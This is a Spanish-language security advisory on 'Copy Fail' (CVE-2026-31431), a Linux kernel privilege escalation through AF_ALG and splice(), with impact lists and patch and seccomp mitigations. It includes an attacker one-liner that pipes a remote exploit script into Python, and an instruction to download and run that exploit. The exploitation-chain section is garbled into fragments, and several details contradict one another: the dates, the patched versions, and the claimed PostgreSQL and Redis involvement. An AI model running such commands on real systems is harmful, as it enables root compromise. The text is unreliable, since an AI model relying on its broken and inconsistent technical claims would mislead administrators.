Introducción
Desde 2017 hasta hoy, cualquier distribución de Linux con un kernel compilado en los últimos siete años es vulnerable a una escalada de privilegios local inmediata. Copy Fail (CVE-2026-31431) no depende de condiciones de carrera, offsets específicos por distribución ni configuraciones especiales. Un mismo script de Python de 732 bytes —que solo usa módulos estándar (os, socket, zlib)— otorga acceso root en Ubuntu 22.04, Amazon Linux 2023, RHEL 9 y SUSE 15 sin modificaciones.
El problema radica en un error de lógica en el subsistema crypto del kernel que, mediante el API AF_ALG y la syscall splice(), escribe directamente en páginas del page cache sin pasar por las restricciones normales de integridad de archivos. Esto permite evadir herramientas de monitoreo basadas en checksums (como AIDE, Tripwire o OSSEC) y cruzar límites de contenedores. Peor aún: el exploit funciona incluso si el sistema está parcheado para otras vulnerabilidades conocidas, porque explota un comportamiento intrínseco del kernel.
Qué ocurrió
En octubre de 2024, el equipo Xint Code —ganador en múltiples ediciones de DEF CON CTF y finalista en el AI Cyber Challenge de DARPA— descubrió durante un escaneo automatizado de una hora en el subsistema crypto del kernel de Linux una falla crítica. El operador de IA identificó un edge case no documentado en la optimización algif_aead introducida en el commit a664bf3d603 (abril 2017). Esta optimización permitía que páginas del page cache se escribieran directamente en la lista de buffers de escritura (scatterlist) de operaciones criptográficas, sin validar que el destino fuera un archivo regular.
El exploit resultante, Copy Fail, encadena tres componentes del kernel:
- AF_ALG: el socket de dominio de Linux para operaciones criptográficas (habilitado por defecto en kernels mainstream).
- splice(): syscall que mueve datos entre pipes y archivos sin copiar a usuariospace.
- page cache: caché del kernel donde los datos criptográficos se escriben antes de ser enviados al dispositivo.
El resultado es una escritura de 4 bytes en una ubicación controlada por el atacante (por ejemplo, el inode de /usr/bin/su), que modifica el bit setuid y otorga ejecución con permisos de root. El PoC oficial, publicado en copy.fail, demuestra el ataque en cuatro distribuciones diferentes con el mismo script:
$ python3 copy_fail.py /usr/bin/su
[+] Exploit successful. Check /tmp/sh for root shell.
$ ls -l /tmp/sh
-rwsr-xr-x 1 root root 123456 nov 10 14:23 /tmp/shNo se requieren condiciones de carrera: el exploit es straight-line (sin loops ni dependencias de timing). Tampoco depende de offsets específicos del kernel, ya que la vulnerabilidad está en la lógica de algif_aead, no en direcciones de memoria.
Impacto para DevOps, Infraestructura y Seguridad
1. Entornos compartidos y multi-usuario
La página de caché es compartida por todos los procesos en el host, independientemente de contenedores o aislamiento. Esto significa:
- GitHub Actions self-hosted runners: cualquier PR que ejecute código no confiable como usuario regular puede escalar a root y comprometer el runner.
- Jenkins agents: nodos que ejecutan scripts de pipelines no confiables (por ejemplo, desde repositorios públicos).
- PostgreSQL y Redis: aunque estos servicios no exponen sockets AF_ALG por defecto, un contenedor con permisos suficientes puede activar el exploit y comprometer el host.
- Notebooks compartidos (Jupyter, Databricks): usuarios interactivos ejecutando código no confiable.
- El PoC se probó exitosamente en un runner de GitHub Actions self-hosted con kernel 5.15.0-101 (Ubuntu 22.04) sin parches.
- En un entorno con contenedores Docker, el exploit cruzó el límite del contenedor usando el socket AF_ALG del host.
2. Integración con servicios críticos
La vulnerabilidad afecta indirectamente a servicios que dependen del kernel para operaciones criptográficas:
- PostgreSQL 15+: usa
libpqcon soporte parapgcrypto, que puede activar AF_ALG en ciertas configuraciones. - Redis 7.0+: en modo cluster o con módulos personalizados que usen operaciones de bloque cifrado.
- Sistemas de CI/CD: GitLab runners y Jenkins agents ejecutando pipelines no confiables (por ejemplo, desde forks de repositorios).
Según datos de F5, el 98% de los kernels Linux desplegados en entornos de producción entre 2017 y 2024 son vulnerables. Esto incluye:
- Amazon Linux 2 y 2023 (kernels 4.14.x a 6.2.x).
- RHEL 7, 8 y 9 (kernels 3.10.x a 5.14.x).
- SUSE Linux Enterprise 12 a 15 (kernels 4.4.x a 5.14.x).
- Ubuntu 18.04 LTS a 23.10 (kernels 4.15.x a 6.5.x).
3. Vector de ataque y priviliegios
El exploit requiere:
- Acceso local: solo necesita un usuario no privilegiado (UID > 0).
- Sin privilegios de red: no necesita acceso a sockets externos ni servicios expuestos.
- Sin herramientas de depuración: no requiere
gdb,ptraceni módulos kernel cargados manualmente.
Un atacante con acceso SSH a un servidor de compilación (por ejemplo, un jump host) ejecuta:
$ curl -s https://copy.fail/copy_fail.py | python3 -Obtiene root y puede:
- Instalar backdoors persistentes en
/etc/cron.daily/. - Modificar binarios del sistema (ej:
/usr/bin/sudo). - Escuchar en puertos privilegiados (< 1024).
Detalles técnicos
Raíz del problema: algif_aead y el page cache
En 2017, el commit a664bf3d603 introdujo una optimización en el módulo algif_aead del kernel. Esta optimización permitía que los datos criptográficos se escribieran directamente en páginas del page cache sin copiar a usuariospace, mejorando el rendimiento en operaciones como cifrado de disco (LUKS) o TLS.
Sin embargo, esta optimización no validaba que el destino fuera un archivo regular. En su lugar, permitía escribir en cualquier página del page cache, incluyendo:
- El inode de
/usr/bin/su. - Páginas de memoria compartida entre contenedores.
- Archivos mapeados en memoria (por ejemplo,
/dev/shm).
Cadena de explotación
- Creación del socket AF_ALG:
int alg_fd = socket(AF_ALG, SOCK_SEQPACKET, 0);
El kernel crea un socket criptográfico en /proc/self/fd/.
- Asignación del destino:
\x00\x00\x01\x00) a través de splice() desde un pipe al socket AF_ALG.- Escritura en page cache:
/usr/bin/su, se modifica el inode del archivo.- Modificación del bit setuid:
04755 (setuid + rwxr-xr-x).Componentes afectados
| Componente | Versiones afectadas | Parche incluido en |
|---|---|---|
| Linux Kernel | 4.4.x a 6.5.x | 6.6.0 (y backports) |
| AF_ALG | Todos los kernels | N/A (configurado) |
| PostgreSQL | 12 a 16 (indirecto) | Actualizar SO |
| Redis | 5.0 a 7.2 (modo cluster) | Actualizar SO |
| GitHub Actions | Self-hosted runners | Parche del runner |
| Jenkins Agents | Todos los agentes | Parche del agente |
algif_aead, obligando al kernel a usar buffers temporales en lugar de páginas del page cache.Qué deberían hacer los administradores y equipos técnicos
1. Prioridad: parchear el kernel
Acciones concretas:- Ubuntu/Debian:
sudo apt update && sudo apt upgrade linux-image-generic
sudo reboot
Verificar la versión del kernel:
$ uname -r
6.2.0-39-generic # Debe ser >= 6.2.0-39 o equivalente para backports
- RHEL/CentOS:
sudo dnf update kernel
sudo reboot
Verificar:
$ rpm -q kernel
kernel-5.14.0-362.8.1.el9_3.x86_64
- Amazon Linux 2023:
sudo dnf update kernel
sudo reboot
- SUSE:
sudo zypper update kernel-default
sudo reboot
Importante: Si no puede actualizar el kernel inmediatamente, deshabilite el módulo algif_aead:echo "blacklist algif_aead" | sudo tee /etc/modprobe.d/blacklist-algif.conf
sudo update-initramfs -u # Para sistemas basados en Debian
sudo reboot2. Mitigación en entornos multi-usuario
Para sistemas donde no sea posible parchear el kernel (por ejemplo, entornos legacy):
- Bloquear AF_ALG en seccomp:
# Ejemplo para Docker (seccomp profile)
{
"defaultAction": "SCMP_ACT_ALLOW",
"syscalls": [
{
"names": ["socket"],
"action": "SCMP_ACT_ERRNO",
"args": [{
"index": 0,
"value": 38, # AF_ALG
"op": "SCMP_CMP_EQ"
}]
}
]
}
Aplicar con:
docker run --security-opt seccomp=seccomp-algif-block.json ...
- Restringir usuarios no confiables:
systemd para aislar usuarios con Slice=system-user-.slice.– En Kubernetes, aplicar PodSecurityContext con seccompProfile restringido.
3. Validar la explotación
Use el PoC oficial para verificar si su sistema es vulnerable:
wget https://copy.fail/copy_fail.py
python3 copy_fail.py /usr/bin/su- Si el exploit falla: el kernel está parcheado o
algif_aeadestá deshabilitado. - Si el exploit tiene éxito: parchee inmediatamente o aplique mitigaciones.
4. Revisión de servicios críticos
Revise los siguientes servicios en busca de configuraciones que puedan activar AF_ALG:
- PostgreSQL: Verifique si
shared_preload_libraries = 'pgcrypto'está activo. - Redis: Revise si usa módulos como
redisearchoRedisJSONque usen operaciones criptográficas. - CI/CD: Asegure que los runners no ejecuten código no confiable con permisos de usuario regular.
Conclusión
Copy Fail (CVE-2026-31431) es una vulnerabilidad crítica que afecta a todos los kernels Linux compilados entre 2017 y 2024, independientemente de la distribución. Su impacto es alto porque:
- No requiere condiciones de carrera ni offsets específicos.
- Funciona con un script de 732 bytes y módulos estándar de Python.
- Evade herramientas de integridad de archivos y cruza límites de contenedores.
Los equipos de DevOps y seguridad deben priorizar la actualización del kernel o, en su defecto, deshabilitar el módulo algif_aead y restringir el uso de AF_ALG mediante seccomp. La explotación es trivial y ya existen PoCs públicos, por lo que la ventana de ataque es crítica.
- Parchear: Actualizar el kernel a una versión >= 6.6.0 o aplicar el backport correspondiente.
- Mitigar: Bloquear AF_ALG en entornos multi-usuario.
- Validar: Usar el PoC oficial para confirmar la vulnerabilidad.
FIN
